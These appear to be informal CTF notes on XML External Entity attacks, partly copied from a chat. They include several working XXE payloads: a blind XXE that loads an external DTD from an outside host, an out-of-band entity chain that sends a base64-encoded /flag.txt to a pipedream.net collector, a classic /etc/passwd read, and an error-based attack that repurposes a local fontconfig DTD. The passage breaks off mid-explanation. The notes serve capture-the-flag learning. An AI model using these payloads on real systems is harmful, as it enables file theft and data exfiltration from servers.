You

can make XML out of 2 encoding like utf-8 and utf-16

https://mohemiv.com/all/evil-xml/

Blind XXE

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "<http://172.27.243.207:4444>"> %xxe;]>

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=/flag.txt'>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://eo6xybqezdn7x3g.m.pipedream.net/?file=%file;'>">
%eval;
%exfiltrate;

XXE WAF Bypas

https://github.com/zeyu2001/My-CTF-Challenges/tree/main/SEETF-2023/ezxxe

Example XXE

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://etc/passwd"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

Time Based XXE to leak a file

TETCTF2022- transform2newyear & admin portal

XXE oracle leak using internal dtd fonts and there’s also CRLF injection

timezones-converter_cd414db0c83c927649aea2fe66d38c360106ec19.txz

this is the challenge i've made with <@268513122740862977>, for the XXE this would not have work like this because we are performing some checks on the XML field

The goal of the XXE was to perform an error based with a local DTD, like this :

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % constant 'aaa)>
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
            <!ELEMENT aa (bb'>
    %local_dtd;
]>
<message>Text</message>

But there wasn't any dtd file in the docker, that's why you have the parameter "timeout" for the session that was created

If you check the flask-session source code, you can see that the first 4 bytes are the hex representation of the timestamp in little endian, so you can look for a timestamp which gives the representation "%A;<RANDOM BYTE>".

As the file starts with this, you can perform the error based with a local DTD like this :